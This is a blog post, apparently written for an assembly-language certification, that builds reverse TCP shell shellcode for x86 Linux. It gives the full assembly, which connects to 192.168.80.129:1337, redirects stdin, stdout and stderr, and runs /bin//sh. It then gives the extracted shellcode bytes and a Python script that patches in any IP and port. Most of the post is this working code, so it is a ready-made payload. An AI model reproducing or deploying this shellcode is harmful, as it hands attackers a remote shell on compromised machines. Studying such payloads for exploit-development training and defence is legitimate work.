Creating Custom TCP Reverse Shell - Linux x86

6 minute read

Introduction

Reverse TCP shell consist of three elements, one for setting up socket that includes socket(), connect() functions. The second is dup2() for file descriptors, and the last part execve() is used to spawn shell upon successful TCP connection. Please note that most of the syscalls mentioned here have already been covered in my previous blog post TCP Bind, hence this post will only focus on connect() function, which is the main difference between bind and reverse shell! The post will then conclude by tying all the pieces together to create working shellcode.

socket()

socket() is used to create medium for communication, for more information on this function please refer to TCP Bind blog post. let’s code!

global _start

section .text

_start:
 
    ; zero out registers
    xor eax, eax 
    xor ebx, ebx
    xor edx, edx
    xor esi, esi

    ; 
    ; socket() code block
    ;

    ; push NULL for protocol type
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_SOCKET 1
    inc bl

    ; push 1 for SOCK_STREAM
    push byte 0x1

    ; push 2 for AF_INET
    push byte 0x2

    ; store arguments in ECX, ping kernel!
    mov ecx, esp
    int 0x80

connect()

This is where we’re going to spend most of our time, connect() function basically connect a socket referred to by sockfd file descriptor to an address specified by addr, and it consist of three arguments as shown below:

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

sockfd is used to point to socket() created earlier, hence we will save its address to ESI. addr is where we specify our desired IP address and it’s broken down to three parts as shown below:

struct sockaddr_in {
               sa_family_t    sin_family; /* address family: AF_INET */
               in_port_t      sin_port;   /* port in network byte order */
               struct in_addr sin_addr;   /* internet address */
           };

Now sin_family is pretty self-explanatory so will go with AF_INET, which according to the first code block in socket() translates to 2. Also we’ll go with 1337 for sin_port and 192.168.80.129 for sin_addr both values needs to be pushed in network byte order big-endian, and here’s why RFC1700. The last argument would be addrlen which defines the size of addr in bytes, 16 in our case. Let’s identify id for connect() function EBX.

root@falafel:~$ cat /usr/include/linux/net.h | grep SYS_CONNECT
#define SYS_CONNECT	3		/* sys_connect(2)		*/
root@falafel:~$ 

Back to the terminal

    ; 
    ; connect() code block
    ; 

    ; move sockfd to ESI
    mov esi, eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_CONNECT 3
    pop ebx
    inc ebx
    pop edi

    ; push 192.168.80.129 for sin_addr
    push 0x8150a8c0

    ; push 1337 for sin_port
    push word 0x3905

    ; push 2 for sin_family
    push word 0x2

    ; push 16 for socketlen_t
    push byte 16

    ; store ESP pointer (sockaddr) in ECX
    push ecx

    ; push ESI for sockfd
    push esi

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

dup2()

dup2() is used to duplicate file descriptors, for more information on this function please refer to TCP Bind blog post. some more code!

    ;
    ;dup2() code block
    ; 

    ; store sockfd in EBX
    xchg esi, ebx

    ; reset ECX for newfd loop
    xor ecx, ecx

    ; set counter to 2
    add cl, 0x2

    ; loop for stdin, stdout, and stderr
    ; syscall for __NR_dup2 63
    ; ping kernel 3 times!

dup:
    mov al, 0x3f
    int 0x80
    dec cl
    jns dup

execve()

execve() is used to execute a program, for more information on this function please refer to TCP Bind blog post.

    ;
    ;execve() code block
    ;

    ; push NULL followed by "/bin//sh" for filename
    push eax
    push 0x68732f2f
    push 0x6e69622f

    ; store ESP pointer to "/bin//sh" in EBX
    mov ebx, esp

    ; save arguments pointer to ECX
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp

    ;__NR_execve 11, ping kernel!
    mov al, 0xb
    int 0x80

Final Shellcode

Now that we have all the pieces of the puzzle, let’s compile and test and then create python script that takes an IP address and port number and add it to our custom shellcode, here’s final code.

global _start

section .text

_start:
 
    ; zero out registers
    xor eax, eax 
    xor ebx, ebx
    xor edx, edx
    xor esi, esi

    ; 
    ; socket() code block
    ;

    ; push NULL for protocol type
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_SOCKET 1
    inc bl

    ; push 1 for SOCK_STREAM
    push byte 0x1

    ; push 2 for AF_INET
    push byte 0x2

    ; store arguments in ECX, ping kernel!
    mov ecx, esp
    int 0x80

    ; 
    ; connect() code block
    ; 

    ; move sockfd to ESI
    mov esi, eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_CONNECT 3
    pop ebx
    inc ebx
    pop edi

    ; push 192.168.80.129 for sin_addr
    push 0x8150a8c0

    ; push 1337 for sin_port
    push word 0x3905

    ; push 2 for sin_family
    push word 0x2

    ; push 16 for socketlen_t
    push byte 16

    ; store ESP pointer (sockaddr) in ECX
    push ecx

    ; push ESI for sockfd
    push esi

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

    ;
    ;dup2() code block
    ; 

    ; store sockfd in EBX
    xchg esi, ebx

    ; reset ECX for newfd loop
    xor ecx, ecx

    ; set counter to 2
    add cl, 0x2

    ; loop for stdin, stdout, and stderr
    ; syscall for __NR_dup2 63
    ; ping kernel 3 times!

dup:
    mov al, 0x3f
    int 0x80
    dec cl
    jns dup

    ;
    ;execve() code block
    ;

    ; push NULL followed by "/bin//sh" for filename
    push eax
    push 0x68732f2f
    push 0x6e69622f

    ; store ESP pointer to "/bin//sh" in EBX
    mov ebx, esp

    ; save arguments pointer to ECX
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp

    ;__NR_execve 11, ping kernel!
    mov al, 0xb
    int 0x80

Here’s graphical version of it.

Demo time!

Reverse Shell Demo

Let’s dump shellcode and then use it to create python script.

ihack4falafel@ubuntu:~$ objdump -d ./ReverseShell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x50\xb0\x66\xfe\xc3\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x43\x5f\x68\xc0\xa8\x50\x81\x66\x68\x05\x39\x66\x6a\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\x87\xf3\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ihack4falafel@ubuntu:~$

Here’s the script

#!/usr/bin/python
#---------------------------------------------------------------------------------------------#
# Script        = ReverseShell.py                                                             #
# SLAE-ID       = SLAE-1115                                                                   #
# Description   = Custom Reverse Shell with configurable ip and port                          #
# Date          = 1/16/2018                                                                   #
# Author        = @ihack4falafel                                                              #
# Usage         = python ReverseShell.py <ip> <port>                                          #
#---------------------------------------------------------------------------------------------#

import sys

#---------------#---------#
W  = '\033[0m'  # White   #
P  = '\033[35m' # Purple  #
Y  = '\033[33m' # Yellow  #
#---------------#---------#

# Check ip and port input
if len(sys.argv) < 3:
  print Y+ "Usage               :" + P+  " python BindShell.py <ip> <port>               " +W
  print Y+ "Example             :" + P+  " python BindShell.py 192.168.80.129 1337       " +W
  sys.exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])

# Make sure port is good!
if port < 1 or port > 65535:
  print P+ "Please specify port number between 1 and 65535" +W
  exit()

if port <= 1024:
  print P+ "This port require root privileges!" +W

# Change port to Shellcode 
port_shellcode = format(port, '04x')
port_shellcode = "\\x" + str(port_shellcode[0:2]) + "\\x" + str(port_shellcode[2:4])  

# Change ip to Shellcode
octet1, octet2, octet3, octet4 = ip.split('.')
ip_shellcode = "\\x" + format(int(octet1), '02x') + "\\x" + format(int(octet2), '02x') + "\\x" + format(int(octet3), '02x') + "\\x" + format(int(octet4), '02x')

# Print final Shellcode, and highlight ip and port in yellow ;)
print P+ "\\x31\\xc0\\x31\\xdb\\x31\\xd2\\x31\\xf6\\x50\\xb0\\x66\\xfe\\xc3\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x5b\\x43\\x5f\\x68" + Y+ ip_shellcode + P+ "\\x66\\x68" + Y+ port_shellcode + P+ "\\x66\\x6a\\x02\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\x87\\xf3\\x31\\xc9\\x80\\xc1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80" +W

Running the script with same ip address and port will output exact same shellcode generated earlier!

ihack4falafel@ubuntu:~$ python ReverseShell.py 192.168.80.129 1337
\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x50\xb0\x66\xfe\xc3\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x43\x5f\x68\xc0\xa8\x50\x81\x66\x68\x05\x39\x66\x6a\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\x87\xf3\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
ihack4falafel@ubuntu:~$ 

Closing Thoughts

This post is continuation of TCP Bind one, hence did not have much information outside what we’ve already learned. Feel free to contact me for questions via twitter @ihack4falafel . All of the code is available on on my github as shown in the link below. Hope this post has been a good resource and I’d like to thank you for viewing!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1115

GitHub Repo: https://github.com/ihack4falafel/SLAE32/tree/master/Assignment%202

Updated: